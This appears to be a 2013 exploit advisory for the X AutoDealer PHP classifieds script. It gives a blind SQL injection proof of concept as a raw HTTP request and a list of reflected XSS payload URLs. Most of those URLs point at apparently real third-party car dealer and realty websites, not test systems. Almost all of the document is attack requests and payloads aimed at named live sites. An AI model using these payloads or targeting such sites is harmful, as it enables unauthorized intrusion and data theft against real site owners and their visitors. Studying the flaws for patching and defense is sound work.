X AutoDealer XSS/SQLi Vulnerabilities

##########################################
# Exploit Title: X AutoDealer XSS/SQLi Vulnerabilities
# Date: 2013-1-25
# Author: DaOne aka Mocking Bird
# Software Link: http://www.classified-scripts.com/product_info.php?products_id=426
# Category: webapps/php
# Price: $29.95
# Google dork: :v
##########################################

# Blind SQL Injection:
-PoC-
POST /contact.php HTTP/1.1
Host: www.integritycars.net
Content-type: application/x-www-form-urlencoded
Conrent-Length : 192
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)
Connection: close

contact=Any+Time&id=%Inject_Here%'&message=tst&mode=3&submit=Send


# Reflected XSS:
-Demo-
http://www.integritycars.net/listings.php?category='"--></script><script>alert(1)</script>
http://www.alumibunk.com/trucks/listings.php?'"--><script>alert(2)</script>
http://www.iwcp.co.uk/motors/listings.php?category=Land&state=3&zip=3&srt='"--><script>alert(3)</script>
http://www.rardleymotors.com/docs/cars/listings.php?category=Single+Family&city='"--><script>alert(4)</script>
http://www.rardleymotors.com/docs/cars/listings.php?category=Single+Family&city=3&state='"--><script>alert(5)</script>
http://www.blackbeltrealty.com/properties/show.php?id='"--><script>alert(6)</script>
http://www.blackbeltrealty.com/properties/show.php?'"--><script>alert(7)</script>
http://www.bellevuegarageltd.co.uk/compare.php?nsextt='"--><script>alert(8)</script>
http://www.sunshine-invest.com/friend.php?id='"--><script>alert(9)</script>
http://www.sunshine-invest.com/contact.php?id='"--><script>alert(10)</script>